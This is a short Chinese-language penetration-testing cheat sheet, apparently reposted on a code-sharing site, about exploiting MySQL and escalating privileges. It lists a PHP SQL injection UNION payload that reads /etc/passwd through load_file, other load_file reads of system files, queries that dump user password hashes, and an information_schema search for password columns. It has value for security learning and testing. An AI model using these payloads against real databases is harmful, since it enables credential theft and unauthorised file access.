mysql 漏洞利用與提權


判斷MySQL服務運行的權限

1、查看系統賬號,如果出現MySQL這類用戶,意味着系統可能出現了降權。

2、看mysqld運行的priority值。

3、查看端口是否可外聯。

 

MySQL密碼獲取與破解

1、獲取網站數據庫賬號和密碼

2、獲取MySQL數據庫user表

用戶一共有三個文件,即user.frm、user.MYD、user.MYI,MySQL數據庫用戶密碼都保存在user.MYD文件中,包括root用戶和其他用戶密碼。

 

MySQL密碼查詢

select user,password from mysql.user;

select user,password from mysql.user where user = 'root';

 

mysql 滲透技巧

如果發現一個PHP的SQL 注入點,可以通過構造"-1 union select 1,1,1,1,1,load_file('/etc/passwd')"

直接讀取的配置文件的命令如下

select load_file('/etc/passwd')\

select load_file('/etc/issues')

select load_file('/etc/etc/rc.local')

 

一些常見的MySQL命令

show databases;

use testdatabases; 使用某個數據庫

show tables;

select * from a 查詢a表中所有的數據

select @@datadir;  查詢數據庫的路徑

select @@basedir  查詢mysql的安裝路徑

常用內置函數

select system_user() 查詢系統

select current_user() 查詢用戶

select user() 查詢用戶

select version() 查詢數據庫版本

select database() 查詢當前連接的數據庫

select @@version_compile_os查詢當前操作系統

select now() 顯示當前時間

 

快速定位數據庫中涉及的密碼表

select table_schema,table_name,column_name from information_schema.columns where column_name like ‘%password%’;

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM